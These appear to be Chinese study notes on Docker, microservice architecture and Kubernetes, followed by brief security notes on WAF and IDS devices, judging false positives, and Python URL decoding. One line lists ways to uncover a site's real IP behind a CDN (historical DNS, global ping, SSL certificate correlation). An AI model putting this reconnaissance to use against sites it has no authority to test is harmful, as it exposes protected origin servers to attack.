- 提供弹性的云服务,Docker 容器可以随开随关,很适合动态扩容。
- 通过多个容器,一台机器可以跑多个服务,因此在本机就可以模拟出微服务架构
微服务架构
●微服务架构简单来说就是把一个完整的应用分成多个小的服务
●每个服务可以单独独立部署,每个服务之间是松耦合的。服务内部是高内聚的,外部是低耦合的,也是比较符合软件设计原则的,高内聚就是每个服务内部的关系是非常密切的,每个服务之间只关注完成一个功能。
●举个例子你把一个网站分成了三个部分——前端,后端,数据库。那么这三个都是一个服务,这个网站就由这三个服务构成。当然你还可以进行更细的划分,数据库(用户表,信息表,xxx表),前端(个人界面,管理界面)……
●微服务优点就是可靠性强,可伸缩性强,团队协作更加容易,跨语言开发更容易
●缺点也很明显,运维难度大,部署系统多
微服务架构下的部署
●假如你使用Docker的话
●优点:你可以很好的解决环境问题,你也可以很好的解决多容器部署的问题,你甚至可以快速一键在一台机器部署所有你要的服务
●缺点:运维要监控几千个docker的运行情况,扩容docker相对繁琐,资源利用率不高,可能有的docker会闲置
●但是这个时候Kubernetes(k8s)就出现了,几乎解决了微服务运维下的所有痛点
●k8s提供了健康检查和自修复,自动扩容缩容,服务发现和负载均衡
其他
安全设备
- WAF:拦截SQL注入、XSS等攻击。
- IDS/IPS:检测异常流量(如SQLMap特征)。
判断误报
- 验证Payload:检查是否触发真实漏洞(如手动测试)。
- 业务分析:确认是否为正常业务请求(如扫描器爬虫)。
真实IP探测
- 方法:历史DNS记录、全球Ping测试、SSL证书关联IP。
Python工具库
解析URL编码,使用库:urllib.parse(unquote()解码,quote()编码)。


